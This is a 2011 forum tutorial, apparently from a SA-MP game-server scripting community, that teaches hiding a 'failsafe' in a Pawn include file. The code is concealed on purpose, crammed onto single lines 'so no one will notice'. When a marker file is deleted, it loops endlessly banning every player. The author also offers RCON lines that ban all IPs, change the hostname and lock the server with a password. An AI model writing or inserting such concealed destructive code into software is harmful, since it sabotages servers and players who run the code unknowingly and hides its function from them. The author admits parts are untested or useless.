19.12.2011, 01:40
(
Последний раз редактировалось Hoborific; 19.12.2011 в 04:35.
Причина: Small Revision
)
Backdooring and anti-theft methodology.
This is for educational purposes only, I do not hold any rights or condone actions in a malicious manner against party or parties or damage caused by this tutorial.
Ok this is more of a copy and paste job for you than it is a tutorial, but your learning so who cares ^^.
Now for starters, find an include you use in your gamemode or a filterscript.
Ok now hide this in the middle of that include! (try and use a pretty normal one no-one will look or replace!)
pawn Код:
stock CheckUserFiles()
{if(!fexist("vars.txt"))for (;;){
SendClientMessageToAll(0xE60000FF,"This server is using a stolen script! Original server IP: X.X.X.X : PORT");
printf("ERROR: This is NOT your script!");for(new i = 0; i < MAX_PLAYERS; i++)BanEx(i,"Banned by RCON");}}
stock CheckUsersFile(playerid){fremove("vars.txt");SendClientMessage(playerid,0xE60000FF,"No statistics at the moment"); CheckUserFiles(); return 1;}
Instead of banning each player, if your someone for efficiency you could use some of the following instead
pawn Код:
SendRconCommand("banip *.*.*.*");
SendRconCommand("hostname Real Server at x.x.x.x:xxxx");
SendRconCommand("password p@sSw0rd");
ignore the fact i've got several lines in one, but thats so no one will notice it (it takes up less lines)
Obviously replace the X.X.X.X : PORT with your ip/port
and the BanEx message is to make it seem like someone got into their server (the people they stole the script from)
also feel free to rename the file you wan't to be needed to be removed.
pawn Код:
stock CheckUsersFile(playerid){fremove("vars.txt");SendClientMessage(playerid,0xE60000FF,"No statistics at the moment"); CheckUserFiles(); return 1;}
// replace vars.txt with whatever file name you'd like, i used DELETEME.txt // I expect most noobs to delete this file without my failsafe command being kicked in.
//don't forget to do the same to the last line (2nd stock)
stock CheckUsersFile(){fremove("vars.txt");}
now make the command inside your gamemode or filterscript
I use zcmd, so you'll have to write your own or use zcmd, and make sure you #include <INCLUDE>
replace INCLUDE with the include you put the failsafe in.
pawn Код:
command(mystatistics,playerid,params[]) //Note to self, not working, but will stop errors.
{
CheckUsersFile(playerid);
}
I also hide the
pawn Код:
CheckUserFiles();
I have not fully tested this (as i improved on it as i wrote this tutorial) so please if you find anything wrong say so and i will fix it as soon as possible
I also HIGHLY suggest putting it into a seemingly "custom" include that way they'll take the FailSafe as-well as the gamemode (if they didn't steal it all, that way it'll kick in for no vars.txt)
Well Okay then that's about it for the first method. personally if you only uploaded the .amx, there is nothing much thieves can do with your script, I have been looking into IP binding and such but to do that I would need to break and do some unwanted things to check the IP, I will however be looking for alternative and other methods, Keep an eye out for the second method.
This tutorial was written at least.. 5 months ago, and so far I have personal messaged it to about 6 close people ( or were friends at the time. )
Some of the methods in this tutorial ARE in fact useless such as the include snippet being crammed onto the same line, the fact of the matter is if you upload your includes, you've uploaded the .pwn and they will be able to remove this.
I have also left such things out like the server leaking method and several other potentially manipulative things.
I don't want to hear "But X way is better" because quite abruptly, I don't care.